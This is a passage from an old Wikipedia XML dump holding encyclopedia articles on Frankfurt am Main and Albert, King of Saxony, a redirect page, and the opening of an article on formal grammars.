[[el:10 Φεβρουαρίου]]
[[es:10 de febrero]]
[[eo:10-a de februaro]]
[[eu:Otsailaren 10]]
[[fo:10. februar]]
[[fr:10 février]]
[[fy:10 febrewaris]]
[[ga:10 Feabhra]]
[[gl:10 de febreiro]]
[[ko:2월 10일]]
[[hr:10. veljače]]
[[io:10 di februaro]]
[[ilo:Febrero 10]]
[[id:10 Februari]]
[[ia:10 de februario]]
[[ie:10 februar]]
[[is:10. febrúar]]
[[it:10 febbraio]]
[[he:10 בפברואר]]
[[jv:10 Februari]]
[[ka:10 თებერვალი]]
[[csb:10 gromicznika]]
[[ku:10'ê reşemiyê]]
[[lt:Vasario 10]]
[[lb:10. Februar]]
[[hu:Február 10]]
[[mk:10 февруари]]
[[ms:10 Februari]]
[[nap:10 'e frevaro]]
[[nl:10 februari]]
[[ja:2月10日]]
[[no:10. februar]]
[[nn:10. februar]]
[[oc:10 de febrièr]]
[[pl:10 lutego]]
[[pt:10 de Fevereiro]]
[[ro:10 februarie]]
[[ru:10 февраля]]
[[se:Guovvamánu 10.]]
[[sco:10 Februar]]
[[sq:10 Shkurt]]
[[scn:10 di frivaru]]
[[simple:February 10]]
[[sk:10. február]]
[[sl:10. februar]]
[[sr:10. фебруар]]
[[fi:10. helmikuuta]]
[[sv:10 februari]]
[[tl:Pebrero 10]]
[[tt:10. Febräl]]
[[te:ఫిబ్రవరి 10]]
[[th:10 กุมภาพันธ์]]
[[vi:10 tháng 2]]
[[tr:10 Şubat]]
[[uk:10 лютого]]
[[wa:10 di fevrî]]
[[war:Pebrero 10]]
[[zh:2月10日]]
[[pam:Pebreru 10]]</text>
    </revision>
  </page>
  <page>
    <title>Frankfurt</title>
    <id>10992</id>
    <revision>
      <id>41992323</id>
      <timestamp>2006-03-03T02:18:31Z</timestamp>
      <contributor>
        <username>Manop</username>
        <id>292857</id>
      </contributor>
      <minor />
      <comment>fixing th</comment>
      <text xml:space="preserve">:''For other uses, see [[Frankfurt (disambiguation)]]''
[[Image:Frankfurt desde MainTower 1.JPG|thumb|310px|Skyline of Frankfurt]]
{{Infobox Town DE|
name = Frankfurt|
name_local =  |
image_coa =  Wappen-frankfurt.png|
image_map =  Karte frankfurt am main in deutschland.png|
state = [[Hesse]] |
regbzk = [[Darmstadt (region)|Darmstadt]]|
district = [[List of German urban districts|urban district]]|
population = 648,325|
population_as_of = 2005|
population_ref = [http://www.statistik-hessen.de/themenauswahl/bevoelkerung-gebiet/regionaldaten/bevoelkerung-der-hessischen-gemeinden/default.htm source]|
pop_dens = 2,611|
area = 248.31|
elevation = 112|
lat_deg = 50| 
lat_min = 7|
lat_hem = N|
lon_deg = 8|
lon_min = 41|
lon_hem = E|
postal_code = 60001-60599,&lt;br&gt;65901-65936|
area_code = 069, 06109, 06101|
licence = F|
mayor = Petra Roth ([[CDU]])|
website = [http://www.frankfurt.de/ frankfurt.de]|
}}
{{Audio|De-Frankfurt_am_Main-pronunciation.ogg|'''Frankfurt am Main'''}} {{IPA|[&amp;#x02c8;fraŋkf&amp;#x028a;rt]}} is the largest city in the German [[States of Germany|state]] of [[Hesse]] and the fifth-largest city in [[Germany]]. Situated on the [[Main]] river, it is the seat of the [[European Central Bank]], the [[Frankfurt Stock Exchange]] and is the largest financial centre in [[Germany]] and [[continental Europe]]. Frankfurt is also one of the richest cities in the [[European Union]].

The city's metropolitan area, the '''[[Frankfurt Rhine Main Area]]''', has a population of 5 million and is Germany's second largest. 

Among [[English language|English]] speakers the city is commonly known simply as &quot;Frankfurt&quot;, though Germans sometimes call it by its full name to distinguish it from the other Frankfurt in the German state of [[Brandenburg]], known as [[Frankfurt an der Oder]]. It was once called '''[[Frankfort]]-on-the-Main''' in English, a direct translation of Frankfurt am Main.

==Overview==
[[Image:Sonnenuntergang Frankfurt.jpg|thumb|The skyline of Frankfurt at night]]
[[Image:Deutsche-Bank-Frankfurt-am-Main.jpg|thumb|Twin Tower of the [[Deutsche Bank]]]]
[[Image:Frankfurt am Main nightshot.jpg|thumb|Commerzbank-Tower &amp; Maintower]]
Frankfurt has played a central role in the political history of Germany and the German states for centuries. From [[855]] to [[1792]] Frankfurt was the electoral city for the Emperors of the [[Holy Roman Empire|Holy Roman Empire of the German Nation]]. In the [[The Revolutions of 1848 in the German states|1848-49 revolutions]], it became a sort of revolutionary capital and was the seat of the first democratically elected German parliament, the [[Frankfurt Parliament]], which met in the ''[[Frankfurter Paulskirche]]'', or the St. Paul's Church.

The three pillars of Frankfurt's economy are finance, transport, and trade fairs. Frankfurt has been Germany's financial capital for centuries, and it is the home of a number of major banks and brokerages. The [[Frankfurt Stock Exchange]] is Germany's largest, and one of the world's most important. Frankfurt houses the [[European Central Bank]], which sets monetary policy for the [[Eurozone]] economy, and the German [[Bundesbank]]. It also houses a number of major commercial banks, including [[Deutsche Bank]], [[Dresdner Bank]], and [[Commerzbank]]. Frankfurt's financial industry gives it the highest [[GDP]] per capita of major cities in Europe and makes it fifteenth in total GDP production as a city.[http://www.conway.com/ssinsider/snapshot/sf020527.htm]

The GaWC identifies Frankfurt as an [[Global city|Alpha World City]].

Frankfurt has an excellent transportation infrastructure and a major international airport and European transportation hub, the [[Frankfurt International Airport]]. Frankfurt Airport ranks among the world's top ten airports and serves 304 flight destinations in 110 countries.Depending whether total passengers or flights are used to measure, it ranks as the second or third busiest in Europe alongside London [[Heathrow Airport]] and Paris' [[Charles de Gaulle Airport|Charles de Gaulle]]. Its central location at Europe's heart and its excellent accessibility by air, rail and road make Frankfurt Airport City especially attractive. With its complete range of services, Fraport AG is a competent and reliable partner for all aspects of airport operation. In addition, many large trade fairs take place in Frankfurt each year, notably the [[Internationale Automobil-Ausstellung]] (''Frankfurt Motor Show'') and the [[Frankfurt Book Fair]], which have far over 100,000 visitors each, but also important special interest fairs like the ''LinuxWorld Conference &amp; Expo'' or ''Musikmesse Frankfurt''.  

Frankfurt is often nicknamed &quot;Bankfurt&quot; or &quot;Mainhattan&quot; (derived from the local [[Main River]]). It is one of only four [[Europe]]an cities that have a significant number of high-rise [[skyscraper]]s. With eleven skyscrapers taller than 150 m (492 ft) in 2004, Frankfurt is second behind [[Paris]] ([[La Défense]] and [[Montparnasse]], with twelve skyscrapers taller than 150 m, not counting the [[Eiffel Tower]]), but ahead of [[London]] ([[Canary Wharf]] and the [[City of London|City]], with eight skyscrapers taller than 150 m) and [[Moscow]] (seven skyscrapers taller than 150 m). The city of Frankfurt contains the tallest skyscraper in the European Union, the [[Commerzbank Tower]], which is also the second tallest on the continent (after the [[Triumph-Palace]] building in [[Moscow]]).

Yet Frankfurt has a different feel from [[New York City]], and many residents prefer its nickname of &quot;the smallest metropolis of the world.&quot; Despite the central concentration of tall buildings, the city has many open natural spaces and a spread-out city plan, which make some of the large buildings look a bit lonely in comparison to other global financial centres such as those in [[New York City|New York]], [[Singapore]], or [[Shanghai]].

Frankfurt is also home to many cultural and educational institutions, the ''[[Johann Wolfgang Goethe University Frankfurt am Main|Johann Wolfgang Goethe-Universität]]'',  many museums, most of them lined up along the [[Main]] river on the ''[[Museumsufer]]'' (museum embankment), and a large botanical garden, the ''[[Palmengarten]]''. Frankfurt's second major university, [[Business School of Finance and Management]], focuses on finance. The best-known museums are ''das Städelsche Kunstinstitut und Städtische Galerie'', called ''[[Städel]]'', and the ''[[Senckenberg Museum|Senckenberg Natural History Museum]]''. Others include the ''[[Museum for Modern Art (Frankfurt)|Museum for Modern Art]]'', the [[Schirn Art Gallery]], museums for architecture, movies, communications and the Jewish Museum / Museum Judengasse.

During [[World War II]] Frankfurt was bombed heavily, and its medieval city centre was destroyed. The city recovered relatively quickly after the war, and its modern shape was formed.

==History==
[[Image:Panorama Frankfurt vom Maintower.jpg|800px|panorama over Frankfurt (Hessen) the banking city of Germany]]
:''See also the specific page [[History of Frankfurt am Main]]''
In the area of the ''Römer'', Roman settlements were established, probably in the first century; some artifacts from that era are found to this day. The city district ''Bonames'' has a name probably dating back to Roman times - it is thought to be derived from ''bona me(n)sa''. ''Nida'' (Heddernheim) was also a Roman civitas capital.

The name of Frankfurt on the [[Main]] is derived from the ''Franconofurt'' of the Germanic tribe of the [[Franks]]; ''Furt'' ([[cf.]] [[English language|English]] ''[[ford (river)|ford]]'') denotes a low point passage across a stream or river. [[Alemanni]] and Franks lived there and by [[794]] [[Charlemagne]] presided over an imperial assembly and church synod, at which ''Franconofurd'' (-furt -vurd) is first mentioned. However, since ''frank'' is also an old German word for ''frei'' (&quot;free&quot;), Frankfurt was a &quot;free ford,&quot; an opportunity to cross the river [[Main]] without paying a toll.

In the [[Holy Roman Empire]], Frankfurt was one of the most important cities. From [[855]] the [[List of German Kings and Emperors|German kings and emperors]] were elected in Frankfurt and crowned in [[Aachen]]. From [[1562]] the kings/emperors were also crowned in Frankfurt, [[Maximilian II, Holy Roman Emperor|Maximilian II]] being the first one. This tradition ended in [[1792]], when [[Francis II, Holy Roman Emperor|Franz II]] was elected. He was crowned, on purpose, on [[Bastille Day]], [[14 July]], the anniversary of the [[storming of the Bastille]]. The elections and coronations took place in St. Bartholomäus cathedral, known as the ''Kaiserdom'' (en: Emperor's Cathedral), or in its predecessors.

The ''Frankfurter Messe'' (en: Frankfurt trade fair) was first mentioned in 1150. In 1240, [[Frederick II, Holy Roman Emperor|Emperor Friedrich II]] granted an Imperial privilege to its visitors, meaning they would be protected by the Empire. Since 1478 book trade fairs have been held in Frankfurt, the ''Frankfurter Buchmesse'' being still the most important in Germany and, some might say, the world. 

In 1372 Frankfurt became a ''Reichsstadt'' (en:[[Imperial Free City|Imperial city]]), i.e. directly subordinate to the [[Holy Roman Emperor]] and not to a regional ruler or a local nobleman.

Frankfurt managed to remain neutral during the [[Thirty Years' War]], but it suffered from the [[bubonic plague]] that was brought to the city by refugees. After the end of the war, Frankfurt regained its wealth.

In the [[Napoleonic Wars]] Frankfurt was occupied or cannonaded several times by French troops. After the total defeat of the allies, it found itself among the vassal states of France within the [[Confederation of the Rhine]] (1806-1813; only Prussia kept out), soon as the new seat of the only ''Fürstprimas'' ('[[Prince-Primate]]', i.e. Chairman of the Diet and the College of Kings, 25 July 1806 - 19 October 1813: Karl Theodor Anton Maria Kämmerer von Worms, Reichsfreiherr von Dalberg (b. 1744 - d. 1817), 1803 - 1806 [[Prince-archbishop]] of Regensburg), The formally sovereign ''Grand Duchy of Frankfurt'', created for Napoleon's adopted son [[Eugène de Beauharnais]], already ''prince de Venise'' (&quot;[[prince of Venice]]&quot;, a newly established primogeniture in Italy), remained a short episode lasting from 1810 to 1813, when military tide turned in favor of the Anglo-Prussian lead allies. 

After Napoleon's final defeat and abdication, the [[Congress of Vienna]] (1814-1815, redrawing the map of Europe) dissolved the grandduchy, and Frankfurt entered the newly founded [[German Confederation]] (till 1866) as a free city, becoming the seat of its ''Bundestag'', the confederal parliament where the nominally presiding Habsburg Emperor of Austria was represented by an Austrian &quot;presidential envoy&quot;.

After the ill-fated [[The Revolutions of 1848 in the German states|revolution of 1848]], Frankfurt was home to the first [[Frankfurt Parliament|German National Assembly]] (''Nationalversammlung''), which resided in St. Paul's Church (''Paulskirche'') (see [[German Confederation]] for details) and was opened on [[18 May]] [[1848]]. The institution failed in 1849 when the Prussian king declared that he would not accept &quot;a crown from the gutter&quot;. In the year of its existence, the assembly developed a common constitution for a unified Germany, with the Prussian king as its monarch.

Frankfurt lost its independence after [[Austro-Prussian War]] as Prussia annexed in [[1866]] several smaller states, among them the free city of Frankfurt. The Prussian administration incorporated Frankfurt into its province of [[Hesse-Nassau]]. The formerly independent towns of Bornheim and Bockenheim were incorporated in [[1890]].

In [[1914]] the citizens of Frankfurt founded the [[Johann Wolfgang Goethe University Frankfurt am Main|University of Frankfurt]], later called Johann Wolfgang Goethe University. This is the only civic foundation of a university in Germany; today it is one of Germany's largest universities.

In 1924 [[Ludwig Landmann]] became the first [[Judaism|Jewish]] Mayor of the city, and led a significant expansion during the following years.  However, during the [[Nazi Germany|Nazi era]], the [[synagogue]]s of Frankfurt were destroyed. 

The city of Frankfurt was severely bombed in [[World War II]]. About 5 500 residents were killed during the raids, and the once famous medieval city centre, by that time the largest in Germany, was destroyed. The reconstruction after the war took place in an (often-simple) modern style, thus irrevocably changing the architectural face of Frankfurt. Only very few landmark buildings have been reconstructed historically, albeit in a simplified manner. 

After the end of the war Frankfurt became a part of the newly founded state of Hesse, consisting of the old Hesse-(Darmstadt) and the Prussian Hesse provinces. Frankfurt was the original choice for the provisional capital of West Germany - they even went as far as constructing a new parliament building that has never been used for its intended purpose, and is now a TV studio.  In the end, [[Konrad Adenauer]] (the first post-war Chancellor) preferred the tiny city of [[Bonn]], for the most part because it was close to his hometown, but also for another reason; many other prominent politicians opposed the choice of Frankfurt out of concern that Frankfurt, one of the largest German cities, and a former centre of the old German-dominated Holy Roman Empire, would be accepted as a &quot;permanent&quot; capital of Germany, thereby weakening the West German population's support for reunification and the eventual return of the capital city to [[Berlin]].

===Population===
Frankfurt is a multicultural city. Most immigrants are from Turkey, the former Yugoslavia, or Italy. About 175 different nationalities reside in Frankfurt.

For a long time Frankfurt was a Protestant-dominated city. However, during the 19th century an increasing number of Catholics moved to the city. Today a narrow plurality of citizens are Catholic. Frankfurt has the second largest Jewish community (after [[Berlin]]) in Germany.

==Geography== 
===Geographic location===
The city is located on both sides of the Main River. The southern part of the city contains the [[Frankfurt City Forest]] (Frankfurter Stadtwald) Germany's largest urban forest.

===Neighbouring communities and areas===
To the West, Frankfurt borders the [[Main-Taunus]] district (Towns and Municipalities [[Hattersheim am Main]], [[Kriftel]], [[Hofheim am Taunus]], [[Kelkheim (Taunus)]], [[Liederbach am Taunus]], [[Sulzbach (Taunus)]], [[Schwalbach am Taunus]] and [[Eschborn]]); to the Northwest the [[Hochtaunuskreis]] (Towns [[Steinbach (Taunus)]], [[Oberursel (Taunus)]] and [[Bad Homburg v.d. Höhe]]); to the North the [[Wetteraukreis]] (Towns [[Karben]] and [[Bad Vilbel]]); to the Northeast the [[Main-Kinzig]] district (Municipality [[Niederdorfelden]] and the town [[Maintal]]); to the Southeast the city [[Offenbach am Main]]; to the South the [[Offenbach (district)|Offenbach]] district (Town[[Neu-Isenburg]]); and to the Southwest the [[Groß-Gerau]] district (Towns [[Mörfelden-Walldorf]], [[Rüsselsheim]] und [[Kelsterbach]]).

===City divisions and districts===
The city is divided into 46 ''[[Stadtteil]]e'' or ''[[Ortsteil]]e'' which is again divided into 118 ''[[Stadtbezirk]]e'' or city districts.  The largest ''Ortsteil'' in area is [[Sachsenhausen-Süd (Frankfurt am Main)|Sachsenhausen-Süd]]. Most ''Stadtteile'' are incorporated suburbs, or [[Vorort]]e, or previously separate cities. Some like [[Nordend (Frankfurt am Main)|Nordend]] arose during the rapid growth of the city in the [[Gründerzeit]] after the unification of Germany.  Others were formed from settlements, which previously belonged to other city divisions, like [[Dornbusch (Frankfurt am Main)]].

The 46 city divisions are combined into 16 area districts or ''[[Ortsbezirke]]'', which each have a district committee and chairperson.

===History of incorporation===
Until the middle of the 19th century, the city territory of Frankfurt consisted of the present-day ''[[Stadtteil]]e'' of [[Altstadt (Frankfurt am Main)|Altstadt]], [[Innenstadt (Frankfurt am Main)|Innenstadt]], [[Bahnhofsviertel (Frankfurt am Main)|Bahnhofsviertel]], [[Gutleutviertel (Frankfurt am Main)|Gutleutviertel]], [[Gallusviertel (Frankfurt am Main)|Gallusviertel]], [[Westend (Frankfurt am Main)|Westend]], [[Nordend (Frankfurt am Main)|Nordend]], [[Ostend (Frankfurt am Main)|Ostend]] and [[Sachsenhausen (Frankfurt am Main)|Sachsenhausen]]. After 1877, a number of previously independent areas were incorporated into the city, see [[Template:Stadtteile of Frankfurt am Main|list of current districts of the city]].

==Sights==
[[Image:Frankfurt cathedral.jpg|150px|thumb|left|Frankfurt Cathedral]]
===Cathedral===
[[Bartholomew|Saint Bartholomeus']] Cathedral (''Dom Sankt Bartholomäus'') is a [[Gothic architecture|Gothic]] building, which was constructed in the 14th and 15th centuries on the foundation of an earlier church from the [[Merovingian]] time. It is the main church of Frankfurt. From 1356 onwards, kings of the [[Holy Roman Empire]] were elected in this church, and from 1562 to 1792, emperors were crowned here.

Since the 18th century, Saint Bartholomeus' has been called &quot;the [[cathedral]]&quot; by the people, although it has never been a bishop's seat. In 1867, the cathedral was destroyed by a fire and rebuilt in its present style. The height of the cathedral is 95 m.

===Römer===
[[Image:Römer, Frankfurt.jpg|150px|thumb|right|Römer]]

''For the full article, see [[Römer (Frankfurt am Main)]].''

The name of the town hall means &quot;Roman&quot;. In fact, nine houses were acquired by the city council in [[1405]] from a wealthy merchant family. The middle house became the town hall and was later connected with the neighbouring buildings. In the upper floor, there is the ''Kaisersaal'' (&quot;Emperor's Hall&quot;) where the newly crowned emperors held their banquets.

The Römer was partially destroyed in World War II, and later rebuilt.

[[Image:Paulskirchefrankfurt.jpg|150px|thumb|left|St. Paul's Church]]

===Saint Paul's Church===
''For the full article, see [[Frankfurter Paulskirche]].''

St. Paul's Church (''Paulskirche'') is a national historic monument in Germany with great political symbolism, because it was the seat of the first democratically elected Parliament in [[1848]]. It was established in [[1789]] as a Protestant church but was not finished until [[1833]]. Its importance has its root in the [[Frankfurt Parliament]], which met in the church during the revolutionary years of 1848/49 in order to write a constitution for a united Germany. The attempt failed because the monarchs of Prussia and Austria did not want to lose power, and in [[1849]] Prussian troops ended the democratic experiment by force of arms and the parliament was dissolved. Afterwards, the building was used for church services again.

St. Paul's was partially destroyed in [[World War II]], particularly the interior of the building, which now has a modern appearance. It was quickly and symbolically rebuilt after the war; today it is not used for religious services, but mainly for exhibitions and events.

===Concert House Old Opera===
[[Image:Frankfurt opera.jpg|thumb|250px|right|Opera House]]
''For the full article, see [[Alte Oper]].''

''Alte Oper'', Frankfurt's famous opera house, was built in [[1880]] by the architect [[Richard Lucae]]. It was one of the major opera houses of Germany, until its was destroyed in World War II.  It was not until 1981 that the old opera was fully rebuilt and reopened. Today it functions as a concert hall and operas are performed in the [[Oper Frankfurt]].
The inscription on the [[frieze]] of the Old Opera says: &quot;''Dem Wahren, Schönen, Guten''&quot; (&quot;To the true, the beautiful, the good&quot;).

===Frankfurt Opera===

The [[Oper Frankfurt]] is the leading opera company of Germany and one of the most important opera houses in the world.

==20th century architecture in Frankfurt==
* [[IG Farben Building]]
* [[New Frankfurt]], housing estates 1925-1930 
* [[Museum für angewandte Kunst]], designed by [[Richard Meier]]

===Skyscrapers===
Frankfurt is unique for its skyscrapers, and it is the only European city to allow skyscrapers within the old central part of town. Along with [[Paris]] and [[London]], it also is one of the few European cities to have a significant numbers of skyscrapers. 

The major skyscrapers are:
* [[Commerzbank Tower]] - Europe's tallest building (1997-2005), designed by [[Norman Foster]].
* [[Silver Tower]]
* [[Eurotower]]
* [[MesseTurm]] - Europe's tallest building (1990 – 1997)
* [[Kronenhochhaus]] (DG-Bank) with its &quot;statue of liberty&quot; like roof structure.   
* the [[Maintower]] owned by &quot;Landesbank Hessen-Thüringen&quot; (HeLaBa)
* [[Trianon (Frankfurt am Main)]].
* [[DZ Bank Tower]] with its interesting form and corona

===Other structures===
[[Image:German FrankfurtEnMain Scenery.jpg|left|thumb|&quot;Hammering Man&quot; in front of the Messeturm skyscraper]]
;[[Henninger Turm]] :a grain silo owned by [[Henninger|Henninger Brewery]] with observation deck and restaurant, offering a breath-taking view over downtown Frankfurt from its south shore. The tower has been closed to the public since October 31, 2002.
;[[Europaturm]] :a telecommunications tower known as the &quot;Frankfurt TV Tower&quot;. Until 1999, it was open to the public, with an entertainment establishment in the revolving top.

==Culture==

===Festivals===
Frankfurt hosts several festivals, fairs, and carnivals throughout the year. The most famous is the [[Rheingau-Music-Festival]] with many (mostly classical) concerts at castles and under the open sky surrounded by vineyards. It takes place each May.
Another major festival, which takes place in Frankfurt, is the &quot;Museumsuferfest&quot;; &quot;Museum-Riverbank-Festival&quot;. It is one of the biggest cultural festivals in Germany, which offers the opportunity to see, buy, smell, taste and hear new things from all around the world. The festival takes place yearly at the end of summer and attracts an average of 3 million visitors. The festival goes over a period of 3 days and ends with a spectacular show of fireworks. Frankfurt ist also known for having one of the greatest [[red light district]]s in Germany in vicinity of the main train station.

===Museums===
*[[Städel]]
*[[Senckenberg Natural History Museum]]
*[[The Museum for Modern Art (Frankfurt am Main)]]
*[[Schirn Art Gallery]]
*[[Deutsches Filmmuseum]]
*[[Deutsches Architektur Museum]]
*[[Museum für angewandte Kunst Frankfurt]], Museum of Design
*[[Deutsches Ikonenmuseum]]
*[[Museum für Kommunikation]]

===Culinary specialties===
*[[Frankfurter Sausage]]
*[[Frankfurter Rindswurst]]
*[[Apfelwein]]
*[[Green Sauce|Grüne Soße]]
*[[Bethmännchen]]
*[[Frankfurter Kranz]]
*[[Handkäse|Handkäs mit Musik]]
*[[Frankfurter Rippchen|Rippchen mit Kraut]]

== Sports ==
*[[Eintracht Frankfurt]]
*[[FSV Frankfurt]]
*[http://www.frankfurt-lions.de/sites/home/index.htm Frankfurt Lions]
*[http://www.deutsche-bank-skyliners.de/index_de.html DEUTSCHE BANK Skyliners - Basketball]

==Sister cities==
Frankfurt's [[town twinning|sister cities]] are:
* {{flagicon|Canada}} - [[Toronto]], [[Canada]]
* {{flagicon|United Kingdom}} - [[Birmingham]], [[Great Britain]], since [[1966]]
* {{flagicon|Hungary}} - [[Budapest]], [[Hungary]], since [[1990]]
* {{flagicon|Poland}} - [[Kraków]], [[Poland]], since [[1991]]
* {{flagicon|Nicaragua}} - [[Granada, Nicaragua|Granada]], [[Nicaragua]], since [[1991]]
* {{flagicon|People's Republic of China}} - [[Guangzhou]], [[China]], since [[1988]]
* {{flagicon|France}} - [[Lyon]], [[France]], since [[1960]]
* {{flagicon|Italy}} - [[Milan]], [[Italy]], since [[1971]]
* {{flagicon|Czech Republic}} - [[Prague]], [[Czech Republic]], since [[1990]]

==People born in Frankfurt==
* [[Theodor Adorno]]
* [[Bettina von Arnim]]
* [[Cha Du-Ri]]
* [[Charles the Bald]]
* [[Johann Wolfgang von Goethe]]
* [[Otto Hahn]]
* [[Erich Fromm]]
* [[Anne Frank]]
* [[Martin Lawrence]]
* [[Birgit Prinz]]
* [[Mayer Amschel Rothschild]]
* [[Friedrich Karl von Savigny]]
* [[Adolf Schreyer]]
* [[Ruth Westheimer]]
* [[Tre Cool]]
* [[Maria Sibylla Merian ]]
* [[Matthias Röhr]]

==See also==
*[[Frankfurt Trade Fair]]
*[[Frankfurt Transit]]
*[[Frankfurt School]]
*[[List of mayors of Frankfurt]]

==Livecams==
*[http://www.frankfurt.de/sis/Stadtportrait_webcam0_e.html several cams - frankfurt.de]
*[http://www.messefrankfurt.com/corporate/en/gelaende_webcam.html 3 cams - Messe Frankfurt]
*[http://www.eissporthalle-ffm.de/webcam.htm 2 cams - ice-skating-hall - &quot;Frankfurt Lions&quot;]

==External links==
{{commons|Frankfurt am Main, Germany}}
* [http://www.frankfurt.de/sis/English.html City's own website]
* [http://www.inyourpocket.com/germany/frankfurt/en/ In Your Pocket] - the English language city guide to Frankfurt
* [http://www.yeckes.com Travel information for Jews] - Yeckes.com - Your Jewish Gateway to Frankfurt
* [http://www.hot-maps.de/europe/germany/hessen/frankfurt_main/homeen.html Map of Frankfurt/Main]
* [http://www.panorama-cities.net/frankfurt/frankfurt.html Frankfurt City Panoramas] - Panoramic Views and virtual Tours
* [http://germany.archiseek.com/hesse/frankfurt/index.html Architectue of Frankfurt] - Guide to buildings
* [http://www.oopper.de/tn/panorama-frankfurt.htm more Frankfurt Panoramas]
* {{wikitravel|Frankfurt}}
* [http://www.frankfurt360.de/ 360°-Panoramas of Frankfurt] - Indoor and outdoor day- and night-time panoramas, in full screen and with sound
* [http://www.altfrankfurt.com Altfrankfurt] - Gives an impression of the splendour of pre-war Frankfurt and its destruction in World War II
[[Image:frankfurt-main-skyline.jpg|framed|center|Skyline of Frankfurt, photographed from the south-west]]

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  </page>
  <page>
    <title>Albert, King of Saxony</title>
    <id>10993</id>
    <revision>
      <id>35894845</id>
      <timestamp>2006-01-20T01:54:41Z</timestamp>
      <contributor>
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      <comment>cat</comment>
      <text xml:space="preserve">'''Albert, King of [[Saxony]]''' ([[Germany]]) ([[1828]] - [[1902]], reigned [[1873]] - [[1902]]), was born [[April 23]] [[1828]].  '''Friedrich August Albrecht''' was the eldest son of [[John I of Saxony|Prince John]], who succeeded his brother [[Frederick Augustus II]] on the throne as King John in [[1854]].  

Prince Albert's education, as usual with German princes, concentrated to a great extent on [[military]] matters, but he attended lectures at the [[University of Bonn]].  His first experience of warfare came in [[1849]], when he served as a captain in the campaign of [[Schleswig-Holstein]] against the [[Denmark|Danes]].  

When the [[Austro-Prussian War]] broke out in [[1866]], the [[Crown Prince]] took up the command of the Saxon forces opposing the [[Prussia]]n army of Prince [[Frederick Charles of Prussia | Frederick Charles]].  No attempt was made to defend Saxony; the Saxons fell back into [[Bohemia]] and effected a junction with the [[Austria]]ns.  They took a prominent part in the battles by which the Prussians forced the line of the [[Jizera River|Jizera]] and in the [[Battle of Jičín]].  The Crown Prince, however, succeeded in effecting the retreat in good order, and in the decisive [[Battle of Königgratz]] ([[3 July]] [[1866]]) he held the extreme left of the Austrian position.  The Saxons maintained their post with great tenacity, but were involved in the disastrous defeat of their allies.  

During these operations the Crown Prince won the reputation of a thorough soldier; after peace was made and Saxony had entered the [[North German Confederation]], he gained the command of the Saxon army, which had now become the XII army corps of the North German army, and in this position carried out the necessary re-organisation.  He proved a firm adherent of the Prussian alliance.  On the outbreak of the [[Franco-Prussian War]] in [[1870]] he again commanded the Saxons, who were included in the 2nd army under Prince Frederick Charles of Prussia, his old opponent.  At the [[Battle of Gravelotte]] they formed the extreme left of the German army, and with the Prussian Guard carried out the attack on [[St Privat]], the final and decisive action in the battle.  

In the re-organisation of the army which accompanied the march towards [[Paris]] the Crown Prince gained a separate command over the 4th army (Army of the Meuse) consisting of the Saxons, the Prussian Guard corps and the IV (Prussian Saxony) corps.  He was succeeded in command of the XII corps by his brother Prince George, who had served under him in Bohemia.  

Frederick Augustus Albert took a leading part in the operations which preceded the battle of [[Sedan, France|Sedan]], the 4th army being the pivot on which the whole army wheeled round in pursuit of [[Patrice Mac-Mahon, duc de Magenta | Mac-Mahon]]; and the actions of Buzancy and Beaumont on [[29 August | 29]] and [[30 August]] [[1870]] were fought under his direction; in the [[Battle of Sedan]] itself ([[1 September]] [[1870]]), with the troops under his orders, he carried out the envelopment of the French on the east and north.  

His conduct in these engagements won for him the complete confidence of the army, and during the [[siege of Paris]] his troops formed the north-east section of the investing force.  After the conclusion of the [[armistice]] he was left in command of the German army of occupation, a position which he held till the fall of the [[Paris Commune]].  On the conclusion of peace he was made an inspector-general of the army and [[field-marshal]].  

On the death of his father King John on [[29 October]] [[1873]] the Crown Prince succeeded to the [[throne]] as King Albert.  His [[reign]] proved uneventful, and he took little public part in [[politics]], devoting himself to military affairs, in which his advice and experience were of the greatest value, not only to the Saxon corps but to the German army in general.  In [[1897]] he was appointed arbitrator between the claimants for the [[principality]] of [[Lippe]].  

Albert married in [[1853]] Carola, daughter of Prince Gustavus of Vasa, granddaughter of [[Gustavus IV of Sweden]], the last king of [[Sweden]] of the house of [[Holstein-Gottorp]].

He died childless on [[June 19]] [[1902]], and was succeeded by his brother, who became King [[George of Saxony|George]].

{{start box}}
{{succession box |
  before= [[John I of Saxony|John I]] |
  title= [[Rulers of Saxony|King of Saxony]]|
  years= 1873&amp;ndash;1902 |
  after= [[George of Saxony|George]]
}}
{{end box}}

[[Category:1828 births]]
[[Category:1902 deaths]]
[[Category:Field Marshals of Germany]]
[[Category:House of Wettin]]
[[Category:Knights of the Garter]]
[[Category:Kings of Saxony]]

[[de:Albert I. (Sachsen)]]
[[nl:Albert van Saksen]]
[[no:Albert I av Sachsen]]
[[ru:Альберт, король Саксонии]]
[[sv:Albert av Sachsen]]
[[zh:阿尔贝特 (萨克森)]]</text>
    </revision>
  </page>
  <page>
    <title>Francis Charles Augustus Albert</title>
    <id>10994</id>
    <revision>
      <id>15908781</id>
      <timestamp>2005-04-23T16:50:14Z</timestamp>
      <contributor>
        <username>John Kenney</username>
        <id>10512</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Prince Albert of Saxe-Coburg and Gotha]]</text>
    </revision>
  </page>
  <page>
    <title>Formal grammar</title>
    <id>10995</id>
    <revision>
      <id>41338616</id>
      <timestamp>2006-02-26T18:17:24Z</timestamp>
      <contributor>
        <username>Babajobu</username>
        <id>125012</id>
      </contributor>
      <comment>rmv blank lines using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">In [[computer science]] a '''formal grammar''' is an [[abstract structure]] that describes a [[formal language]] precisely, i.e., a set of rules that mathematically delineates a (usually [[Infinity|infinite]]) [[set]] of finite-length [[String (computer science)|strings]] over a (usually [[finite]]) [[alphabet]]. Formal grammars are so named by analogy to [[grammar]] in human languages.

Formal grammars fall into two main categories: ''generative'' and ''analytic''.

* A [[generative grammar]], the most well-known kind, is a set of rules by which all possible [[String (computer science)|strings]] in the language to be described can be ''generated'' by successively [[rewriting]] strings starting from a designated start symbol.  A generative grammar in effect formalizes an [[algorithm]] that ''generates'' strings in the language.

* An '''analytic grammar''', in contrast, is a set of rules that assume an arbitrary string to be given as ''input'', and which successively ''reduce'' or ''analyze'' that input string yielding a final [[Boolean datatype|boolean]], &quot;yes/no&quot; result indicating whether or not the input string is a member of the language described by the grammar.  An analytic grammar in effect formally describes a [[parser]] for a language.

In short, an analytic grammar describes how to ''read'' a language, whereas a generative grammar describes how to ''write'' it.

== Generative grammars == 

